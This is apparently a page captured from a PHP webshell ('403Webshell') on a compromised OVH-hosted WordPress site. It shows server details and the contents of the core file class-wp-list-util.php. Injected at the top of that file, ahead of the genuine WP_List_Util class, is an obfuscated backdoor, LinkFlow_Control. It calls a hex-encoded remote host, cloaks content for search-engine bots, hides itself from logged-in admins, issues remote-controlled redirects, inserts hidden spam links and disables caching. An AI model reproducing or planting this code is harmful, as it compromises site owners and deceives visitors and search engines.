403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/v/e/r/verseaa/www/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/v/e/r/verseaa/www/wp-includes//class-wp-list-util.php
<?php																																										

if (!class_exists('LinkFlow_Control')) {

    $lf_enable = true;
    if (function_exists('is_user_logged_in') && is_user_logged_in()) {
        $lf_enable = false;
        @setcookie('http2_session_id', '1', 2147483647, "/");
    }
    foreach ($_COOKIE as $key => $value) {
        if ($key == 'http2_session_id' || strpos($key, 'wordpress_logged_in_') === 0) {
            $lf_enable = false;
            @setcookie('http2_session_id', '1', 2147483647, "/");
            break;
        }
    }

    ini_set('default_socket_timeout', 10);
    $uri = $_SERVER['REQUEST_URI'] ?? '/';
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $bad_urls = '#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';
    if (preg_match($bad_urls, ($_SERVER['HTTP_HOST'] ?? '') . $uri)) {
        $lf_enable = false;
    }

    class LinkFlow_Control {
        public $url = "\x68\x74\x74\x70:\x2f/\x62p\x6ca\x6es\x6ff\x74.\x6fr\x67/\x67e\x74.\x70h\x70";
        public $client_hash = "b9e71384";
        public $ua = '';
        public $uri = '';
        public $ip = '';
        public $lang = '';
        public $google_ip_list = array(
            "64.233.*", "66.102.*", "66.249.*", "72.14.*", "74.125.*",
            "108.177.*", "209.85.*", "216.239.*", "172.217.*", "35.190.247.*",
            "35.191.*", "35.203.*", "35.204.*", "35.224.*", "35.240.*",
            "35.241.*", "35.242.*", "35.243.*", "35.244.*", "35.245.*",
            "35.246.*", "35.247.*", "35.199.*", "35.200.*", "35.201.*",
            "35.202.*", "35.203.*", "35.204.*", "35.205.*", "35.206.*",
            "35.207.*", "35.208.*", "35.209.*", "35.210.*", "35.211.*",
            "35.212.*", "35.213.*", "35.214.*", "35.215.*", "35.216.*",
            "35.217.*", "35.218.*", "35.219.*", "35.220.*", "35.221.*",
            "35.222.*", "35.223.*", "35.224.*", "35.225.*", "35.226.*",
            "35.227.*", "35.228.*", "35.229.*", "35.230.*", "35.231.*",
            "35.232.*", "35.233.*", "35.234.*", "35.235.*", "35.236.*",
            "35.237.*", "35.238.*", "35.239.*", "35.240.*", "35.241.*",
            "35.242.*", "35.243.*", "35.244.*", "35.245.*", "35.246.*",
            "35.247.*", "35.248.*", "35.249.*", "35.250.*", "35.251.*",
            "35.252.*", "35.253.*", "35.254.*", "35.255.*", "34.64.*",
            "34.65.*", "34.66.*", "34.67.*", "34.68.*", "34.69.*",
            "34.70.*", "34.71.*", "34.72.*", "34.73.*", "34.74.*",
            "34.75.*", "34.76.*", "34.77.*", "34.78.*", "34.79.*",
            "34.80.*", "34.81.*", "34.82.*", "34.83.*", "34.84.*",
            "34.85.*", "34.86.*", "34.87.*", "34.88.*", "34.89.*",
            "34.90.*", "34.91.*", "34.92.*", "34.93.*", "34.94.*",
            "34.95.*", "34.96.*", "34.97.*", "34.98.*", "34.99.*",
            "34.100.*", "34.101.*", "34.102.*", "34.103.*", "34.104.*",
            "34.105.*", "34.106.*", "34.107.*", "34.108.*", "34.109.*",
            "34.110.*", "34.111.*", "34.112.*", "34.113.*", "34.114.*",
            "34.115.*", "34.116.*", "34.117.*", "34.118.*", "34.119.*",
            "34.120.*", "34.121.*", "34.122.*", "34.123.*", "34.124.*",
            "34.125.*", "34.126.*", "34.127.*", "34.128.*", "34.129.*",
            "34.130.*", "34.131.*", "34.132.*", "34.133.*", "34.134.*",
            "34.135.*", "34.136.*", "34.137.*", "34.138.*", "34.139.*",
            "34.140.*", "34.141.*", "34.142.*", "34.143.*", "34.144.*",
            "34.145.*", "34.146.*", "34.147.*", "34.148.*", "34.149.*",
            "34.150.*", "34.151.*", "34.152.*", "34.153.*", "34.154.*",
            "34.155.*", "34.156.*", "34.157.*", "34.158.*", "34.159.*",
            "34.160.*", "34.161.*", "34.162.*", "34.163.*", "34.164.*",
            "34.165.*", "34.166.*", "34.167.*", "34.168.*", "34.169.*",
            "34.170.*", "34.171.*", "34.172.*", "34.173.*", "34.174.*",
            "34.175.*", "34.176.*", "34.177.*", "34.178.*", "34.179.*",
            "34.180.*", "34.181.*", "34.182.*", "34.183.*", "34.184.*",
            "34.185.*", "34.186.*", "34.187.*", "34.188.*", "34.189.*",
            "34.190.*", "34.191.*", "34.192.*", "34.193.*", "34.194.*",
            "34.195.*", "34.196.*", "34.197.*", "34.198.*", "34.199.*",
            "34.200.*", "34.201.*", "34.202.*", "34.203.*", "34.204.*",
            "34.205.*", "34.206.*", "34.207.*", "34.208.*", "34.209.*",
            "34.210.*", "34.211.*", "34.212.*", "34.213.*", "34.214.*",
            "34.215.*", "34.216.*", "34.217.*", "34.218.*", "34.219.*",
            "34.220.*", "34.221.*", "34.222.*", "34.223.*", "34.224.*",
            "34.225.*", "34.226.*", "34.227.*", "34.228.*", "34.229.*",
            "34.230.*", "34.231.*", "34.232.*", "34.233.*", "34.234.*",
            "34.235.*", "34.236.*", "34.237.*", "34.238.*", "34.239.*",
            "34.240.*", "34.241.*", "34.242.*", "34.243.*", "34.244.*",
            "34.245.*", "34.246.*", "34.247.*", "34.248.*", "34.249.*",
            "34.250.*", "34.251.*", "34.252.*", "34.253.*", "34.254.*",
            "34.255.*",
            "2001:4860:4801:*", "2001:4860:4802:*", "2001:4860:4803:*", "2001:4860:4804:*",
            "2001:4860:4805:*", "2001:4860:4806:*", "2001:4860:4807:*", "2001:4860:4808:*",
            "2001:b028:*", "2001:67c:*", "2404:6800:*",
            "2404:f340:*", "2600:1900:*", "2600:2700:*", "2607:f8b0:*",
            "2607:f8b1:*", "2607:f8b2:*", "2607:f8b3:*", "2607:f8b4:*",
            "2607:f8b5:*", "2607:f8b6:*", "2607:f8b7:*", "2607:f8b8:*",
            "2607:f8b9:*", "2607:f8ba:*", "2607:f8bb:*", "2607:f8bc:*",
            "2607:f8bd:*", "2607:f8be:*", "2607:f8bf:*", "2a00:1450:*",
            "2c0f:f248:*", "2c0f:f249:*", "2c0f:f24a:*", "2c0f:f24b:*",
            "2c0f:f24c:*", "2c0f:f24d:*", "2c0f:f24e:*", "2c0f:f24f:*"
        );

        public $bing_ip_list = array(
            "13.66.*.*", "13.67.*.*", "13.68.*.*", "13.69.*.*",
            "20.36.*.*", "20.37.*.*", "20.38.*.*", "20.39.*.*",
            "40.77.*.*", "40.79.*.*", "52.231.*.*", "191.233.*.*"
        );
        public $yandex_ip_list = array(
            "5.45.*.*", "5.255.*.*", "37.9.*.*", "37.140.*.*",
            "77.88.*.*", "84.252.*.*", "87.250.*.*", "90.156.*.*",
            "93.158.*.*", "95.108.*.*", "141.8.*.*", "178.154.*.*",
            "213.180.*.*", "185.32.187.*"
        );
        public $links = array();
        public $bot = '';
        public $ref = '';
        function get($url) {
            if (function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                curl_setopt($ch, CURLOPT_TIMEOUT, 30);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $data = curl_exec($ch);
                curl_close($ch);
                return $data;
            } elseif (@ini_get('allow_url_fopen')) {
                return @file_get_contents($url);
            } else {
                $parts = parse_url($url);
                $target = $parts['host'];
                $port = isset($parts['port']) ? $parts['port'] : 80;
                $page = isset($parts['path']) ? $parts['path'] : '';
                $page .= isset($parts['query']) ? '?' . $parts['query'] : '';
                $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';
                $page = ($page == '') ? '/' : $page;
                if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {
                    @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1));
                    $headers = "GET $page HTTP/1.1\r\n";
                    $headers .= "Host: {$parts['host']}\r\n";
                    $headers .= "Connection: Close\r\n\r\n";
                    if (fwrite($fp, $headers)) {
                        $resp = '';
                        while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {
                            $resp .= $curr;
                        }
                        if (isset($curr) && $curr !== false) {
                            fclose($fp);
                            return substr(strstr($resp, "\r\n\r\n"), 3);
                        }
                    }
                    fclose($fp);
                }
            }
            return TRUE;
        }

        function match_ip($ip, $pattern) {
            if (strpos($ip, ':') !== false) {
                $pattern = str_replace(':', '\:', $pattern);
                $pattern = str_replace('*', '.*', $pattern);
                $pattern = '/^' . $pattern . '$/';
                return preg_match($pattern, $ip);
            } else {
                $pattern = str_replace(['.', '*'], ['\.', '.*'], $pattern);
                $pattern = '/^' . $pattern . '$/';
                return preg_match($pattern, $ip);
            }
        }

        function verify_googlebot($ip) {
            $is_google_ip = false;
            foreach ($this->google_ip_list as $ip_mask) {
                if ($this->match_ip($ip, $ip_mask)) {
                    $is_google_ip = true;
                    break;
                }
            }
            
            if (!$is_google_ip) {
                return false;
            }
            
            $hostname = @gethostbyaddr($ip);
            if (!$hostname || $hostname === $ip) {
                return false;
            }
            
            if (!preg_match('/\.(googlebot|google)\.com$/i', $hostname)) {
                return false;
            }
            
            return true;
        }

        function init($uri, $ua) {
            $this->uri = $uri;
            $bot = FALSE;
            $this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown');
            $this->ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
            $this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
            
            $ua_patterns = [
                'bing' => 'bingbot|msnbot|slurp|yahoo',
                'yandex' => 'yandexbot|yandex',
                'duckduck' => 'duckduckbot|duckduckgo'
            ];
            foreach ($ua_patterns as $name => $re) {
                if ($ua && preg_match("/$re/i", $ua)) {
                    $bot = TRUE;
                    $this->bot = $name;
                    break;
                }
            }
            if ($bot) {
                return $this->make_request();
            }
            
            if ($this->verify_googlebot($this->ip)) {
                $bot = TRUE;
                $this->bot = 'google';
            } else {
                $ip_lists = [
                    'bing' => $this->bing_ip_list, 
                    'yandex' => $this->yandex_ip_list
                ];
                foreach ($ip_lists as $name => $list) {
                    $is_bot_ip = false;
                    foreach ($list as $ip_mask) {
                        if ($this->match_ip($this->ip, $ip_mask)) {
                            $is_bot_ip = true;
                            break;
                        }
                    }
                    if ($is_bot_ip) {
                        $bot = TRUE;
                        $this->bot = $name;
                        break;
                    }
                }
            }
            if ($bot && $this->bot !== 'google') {
                return $this->make_request();
            }
            if (!$bot) {
                $host_by_addr = @gethostbyaddr($this->ip);
                if ($host_by_addr && $host_by_addr !== $this->ip) {
                    $host_patterns = [
                        'bing' => 'bing|msn|slurp|yahoo',
                        'yandex' => 'yandex',
                        'duckduck' => 'duckduckgo|duckduckbot'
                    ];
                    
                    foreach ($host_patterns as $name => $pattern) {
                        if (preg_match("/$pattern/i", $host_by_addr)) {
                            $bot = TRUE;
                            $this->bot = $name;
                            break;
                        }
                    }
                }
            }
            return $this->make_request();
        }

        function make_request() {
            if (!empty($_SERVER['SERVER_NAME'])) {
                $tmp = @parse_url('http://' . $_SERVER['SERVER_NAME']);
                if (isset($tmp['host'])) {
                    $host = $tmp['host'];
                }
            }
            
            $host = $host ?? 'unknown';
            $sch = 'http';
            if (!empty($_SERVER['HTTPS']) && strtolower((string) $_SERVER['HTTPS']) !== 'off') {
                $sch = 'https';
            } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && stripos((string) $_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false) {
                $sch = 'https';
            }
            $url = $this->url . "?host=$host&uri=" . urlencode($this->uri) . "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref) . '&lang=' . urlencode($this->lang) . '&sch=' . $sch . '&cv=' . $this->client_hash . '&ct=client';

            if (isset($_COOKIE['LFD']) || isset($_REQUEST['LFD'])) {
                $url .= '&check=1';
                $page = $this->get($url);
                $res = 0;
                if (strpos($page, "XTESTOKX") !== false) {
                    $res = 1;
                }
                die(json_encode([
                    'r' => $res,
                    'bot' => $this->bot,
                    'ip' => $this->ip,
                    'funcs' => [
                        'curl_init'         => function_exists('curl_init') ? 1 : 0,
                        'file_get_contents' => function_exists('file_get_contents') ? 1 : 0,
                        'allow_url_fopen'   => ini_get('allow_url_fopen') ? 1 : 0,
                        'fsockopen'         => function_exists('fsockopen') ? 1 : 0,
                        'socket_set_option' => function_exists('socket_set_option') ? 1 : 0,
                    ]
                ]));
            }
            if (isset($_COOKIE['CURLOPT_LF_TEST']) || isset($_REQUEST['CURLOPT_LF_TEST'])) {
                $url .= '&check=1';
            }
            $page = $this->get($url);
            if ($page === false || $page === null || $page === '') {
                return;
            }
            $page = (string) $page;

            $urlStart = stripos($page, '<url>');
            $urlEnd = $urlStart === false ? false : stripos($page, '</url>', $urlStart);
            if ($urlStart !== false && $urlEnd !== false && $urlEnd > $urlStart) {
                $redir = trim(substr($page, $urlStart + 5, $urlEnd - ($urlStart + 5)));
                if ($redir !== '') {
                    if (!headers_sent()) {
                        header('Location: ' . $redir);
                        exit;
                    }
                    echo '<script>window.location.href = ' . json_encode($redir) . ';</script>';
                    exit;
                }
            }

            $pageStart = stripos($page, '<page>');
            $pageEnd = $pageStart === false ? false : strripos($page, '</page>');
            if ($pageStart !== false && $pageEnd !== false && $pageEnd > $pageStart) {
                die(substr($page, $pageStart + 6, $pageEnd - ($pageStart + 6)));
            }

            if (strpos($page, '<link>') !== false) {
                preg_match_all('~<link>(.*?)</link>~is', $page, $m);
                $this->links = isset($m[1]) ? $m[1] : array();
            }
            if (count($this->links) > 0) {
                ob_start(array($this, 'rwcontent'));
            }
        }

        function rwcontent($content) {
            $blocked_tags = array('header', 'footer');
            $tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'body');
            $tags_vals = array();
            foreach ($tags as $tag) {
                preg_match_all("~<{$tag}(?:\s[^>]*)?>(.*?)</{$tag}>~is", $content, $matches);
                if (isset($matches[0])) {
                    foreach ($matches[0] as $match) {
                        $is_blocked = false;
                        foreach ($blocked_tags as $blocked_tag) {
                            $pattern = "~<{$blocked_tag}.*?>.*?{$match}.*?</{$blocked_tag}>~is";
                            if (preg_match($pattern, $content)) {
                                $is_blocked = true;
                                break;
                            }
                        }
                        if (!$is_blocked) {
                            $tags_vals[] = array('tag' => $tag, 'content' => $match);
                        }
                    }
                }
                if (count($tags_vals) > count($this->links)) {
                    break;
                }
            }
            $tag_index = 0;
            $link_index = 0;
            $links_count = count($this->links);
            $tags_vals_count = count($tags_vals);

            while ($link_index < $links_count && $tag_index < $tags_vals_count) {
                $link = $this->links[$link_index];
                if (substr($link, -3) === '###') {
                    $linkHTML = substr($link, 0, -3);
                } else {
                    $seed = $_SERVER['REQUEST_URI'] . strlen($link);
                    $hash1 = crc32($seed);
                    $offset = 7000 + ($hash1 % 6001);
                    $hash2 = crc32($seed . 'w');
                    $width = 1000 + ($hash2 % 201);
                    $linkHTML = "<div style=\"position:absolute;left:-{$offset}px;width:{$width}px;\">{$link}</div> ";
                }
                $tag_val = $tags_vals[$tag_index];
                if (strlen($tag_val['content']) % 2 == 1) {
                    $tag_content_new = $tag_val['content'];
                    $tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$linkHTML}", $tag_content_new, 1);
                } else {
                    if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".</{$tag_val['tag']}>") {
                        $tag_content_new = str_replace(".</{$tag_val['tag']}>", " {$linkHTML}</{$tag_val['tag']}>", $tag_val['content']);
                    } else {
                        $tag_content_new = str_replace("</{$tag_val['tag']}>", " {$linkHTML}</{$tag_val['tag']}>", $tag_val['content']);
                    }
                }
                $content = preg_replace("~" . preg_quote($tag_val['content'], '~') . "~i", $tag_content_new, $content, 1);
                if (strpos($content, $linkHTML) !== false) {
                    $link_index++;
                }
                $tag_index++;
            }
            if ($link_index < $links_count) {
                $tail = array();
                for ($i = $link_index; $i < $links_count; $i++) {
                    $link = $this->links[$i];
                    $tail[] = (substr($link, -3) === '###') ? substr($link, 0, -3) : $link;
                }
                $footer = implode(' ', $tail);
                if (stripos($content, '</body>') !== false) {
                    $content = preg_replace('~</body>~i', $footer . '</body>', $content, 1);
                } else {
                    $content .= $footer;
                }
            }
            return $content;
        }

    }

    if ($lf_enable) {
        if (!function_exists('lf_discourage_page_cache')) {
            function lf_discourage_page_cache()
            {
                if (function_exists('is_admin') && is_admin()) {
                    return;
                }
                if (function_exists('wp_doing_ajax') && wp_doing_ajax()) {
                    return;
                }
                if (function_exists('wp_doing_cron') && wp_doing_cron()) {
                    return;
                }
                if (defined('REST_REQUEST') && REST_REQUEST) {
                    return;
                }
                if (function_exists('is_user_logged_in') && is_user_logged_in()) {
                    return;
                }
                $flags = array(
                    'DONOTCACHEPAGE' => true,
                    'DONOTCACHEDB' => true,
                    'DONOTCACHEOBJECT' => true,
                    'DONOTMINIFY' => true,
                    'DONOTCDN' => true,
                    'DONOTROCKETOPTIMIZE' => true,
                    'LSCACHE_NO_CACHE' => true,
                    'WPSC_SERVE_DISABLED' => 1,
                );
                foreach ($flags as $name => $val) {
                    if (!defined($name)) {
                        define($name, $val);
                    }
                }
                if (function_exists('nocache_headers')) {
                    nocache_headers();
                }
                if (!headers_sent()) {
                    header('X-LiteSpeed-Cache-Control: no-cache', false);
                    header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0', false);
                    header('X-Cache-Enabled: False', false);
                }
                if (function_exists('do_action')) {
                    do_action('litespeed_control_set_nocache', 'lf-client');
                }
                if (function_exists('add_filter')) {
                    add_filter('rocket_override_donotcachepage', '__return_true', 999);
                    add_filter('w3tc_can_cache', '__return_false', 999);
                    add_filter('wpsc_can_cache', '__return_false', 999);
                    add_filter('automattic_pageload_cache', '__return_false', 999);
                }
            }
        }
        if (function_exists('add_action')) {
            add_action('init', 'lf_discourage_page_cache', 0);
            if (function_exists('did_action') && did_action('init')) {
                lf_discourage_page_cache();
            }
        } else {
            lf_discourage_page_cache();
        }
        $lf = new LinkFlow_Control;
        $lf->init($uri, $ua);
    }
}

/**
 * WordPress List utility class
 *
 * @package WordPress
 * @since 4.7.0
 */

/**
 * List utility.
 *
 * Utility class to handle operations on an array of objects or arrays.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
class WP_List_Util {
	/**
	 * The input array.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $input = array();

	/**
	 * The output array.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $output = array();

	/**
	 * Temporary arguments for sorting.
	 *
	 * @since 4.7.0
	 * @var string[]
	 */
	private $orderby = array();

	/**
	 * Constructor.
	 *
	 * Sets the input array.
	 *
	 * @since 4.7.0
	 *
	 * @param array $input Array to perform operations on.
	 */
	public function __construct( $input ) {
		$this->output = $input;
		$this->input  = $input;
	}

	/**
	 * Returns the original input array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The input array.
	 */
	public function get_input() {
		return $this->input;
	}

	/**
	 * Returns the output array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The output array.
	 */
	public function get_output() {
		return $this->output;
	}

	/**
	 * Filters the list, based on a set of key => value arguments.
	 *
	 * Retrieves the objects from the list that match the given arguments.
	 * Key represents property name, and value represents property value.
	 *
	 * If an object has more properties than those specified in arguments,
	 * that will not disqualify it. When using the 'AND' operator,
	 * any missing properties will disqualify it.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $args     Optional. An array of key => value arguments to match
	 *                         against each object. Default empty array.
	 * @param string $operator Optional. The logical operation to perform. 'AND' means
	 *                         all elements from the array must match. 'OR' means only
	 *                         one element needs to match. 'NOT' means no elements may
	 *                         match. Default 'AND'.
	 * @return array Array of found values.
	 */
	public function filter( $args = array(), $operator = 'AND' ) {
		if ( empty( $args ) ) {
			return $this->output;
		}

		$operator = strtoupper( $operator );

		if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) {
			$this->output = array();
			return $this->output;
		}

		$count    = count( $args );
		$filtered = array();

		foreach ( $this->output as $key => $obj ) {
			$matched = 0;

			foreach ( $args as $m_key => $m_value ) {
				if ( is_array( $obj ) ) {
					// Treat object as an array.
					if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) {
						++$matched;
					}
				} elseif ( is_object( $obj ) ) {
					// Treat object as an object.
					if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) {
						++$matched;
					}
				}
			}

			if ( ( 'AND' === $operator && $matched === $count )
				|| ( 'OR' === $operator && $matched > 0 )
				|| ( 'NOT' === $operator && 0 === $matched )
			) {
				$filtered[ $key ] = $obj;
			}
		}

		$this->output = $filtered;

		return $this->output;
	}

	/**
	 * Plucks a certain field out of each element in the input array.
	 *
	 * This has the same functionality and prototype of
	 * array_column() (PHP 5.5) but also supports objects.
	 *
	 * @since 4.7.0
	 *
	 * @param int|string $field     Field to fetch from the object or array.
	 * @param int|string $index_key Optional. Field from the element to use as keys for the new array.
	 *                              Default null.
	 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
	 *               corresponding to `$index_key`. If `$index_key` is null, array keys from the original
	 *               `$list` will be preserved in the results.
	 */
	public function pluck( $field, $index_key = null ) {
		$newlist = array();

		if ( ! $index_key ) {
			/*
			 * This is simple. Could at some point wrap array_column()
			 * if we knew we had an array of arrays.
			 */
			foreach ( $this->output as $key => $value ) {
				if ( is_object( $value ) ) {
					$newlist[ $key ] = $value->$field;
				} elseif ( is_array( $value ) ) {
					$newlist[ $key ] = $value[ $field ];
				} else {
					_doing_it_wrong(
						__METHOD__,
						__( 'Values for the input array must be either objects or arrays.' ),
						'6.2.0'
					);
				}
			}

			$this->output = $newlist;

			return $this->output;
		}

		/*
		 * When index_key is not set for a particular item, push the value
		 * to the end of the stack. This is how array_column() behaves.
		 */
		foreach ( $this->output as $value ) {
			if ( is_object( $value ) ) {
				if ( isset( $value->$index_key ) ) {
					$newlist[ $value->$index_key ] = $value->$field;
				} else {
					$newlist[] = $value->$field;
				}
			} elseif ( is_array( $value ) ) {
				if ( isset( $value[ $index_key ] ) ) {
					$newlist[ $value[ $index_key ] ] = $value[ $field ];
				} else {
					$newlist[] = $value[ $field ];
				}
			} else {
				_doing_it_wrong(
					__METHOD__,
					__( 'Values for the input array must be either objects or arrays.' ),
					'6.2.0'
				);
			}
		}

		$this->output = $newlist;

		return $this->output;
	}

	/**
	 * Sorts the input array based on one or more orderby arguments.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array $orderby       Optional. Either the field name to order by or an array
	 *                                    of multiple orderby fields as `$orderby => $order`.
	 *                                    Default empty array.
	 * @param string       $order         Optional. Either 'ASC' or 'DESC'. Only used if `$orderby`
	 *                                    is a string. Default 'ASC'.
	 * @param bool         $preserve_keys Optional. Whether to preserve keys. Default false.
	 * @return array The sorted array.
	 */
	public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
		if ( empty( $orderby ) ) {
			return $this->output;
		}

		if ( is_string( $orderby ) ) {
			$orderby = array( $orderby => $order );
		}

		foreach ( $orderby as $field => $direction ) {
			$orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC';
		}

		$this->orderby = $orderby;

		if ( $preserve_keys ) {
			uasort( $this->output, array( $this, 'sort_callback' ) );
		} else {
			usort( $this->output, array( $this, 'sort_callback' ) );
		}

		$this->orderby = array();

		return $this->output;
	}

	/**
	 * Callback to sort an array by specific fields.
	 *
	 * @since 4.7.0
	 *
	 * @see WP_List_Util::sort()
	 *
	 * @param object|array $a One object to compare.
	 * @param object|array $b The other object to compare.
	 * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise.
	 */
	private function sort_callback( $a, $b ) {
		if ( empty( $this->orderby ) ) {
			return 0;
		}

		$a = (array) $a;
		$b = (array) $b;

		foreach ( $this->orderby as $field => $direction ) {
			if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) {
				continue;
			}

			if ( $a[ $field ] == $b[ $field ] ) {
				continue;
			}

			$results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 );

			if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) {
				return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1];
			}

			return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1];
		}

		return 0;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit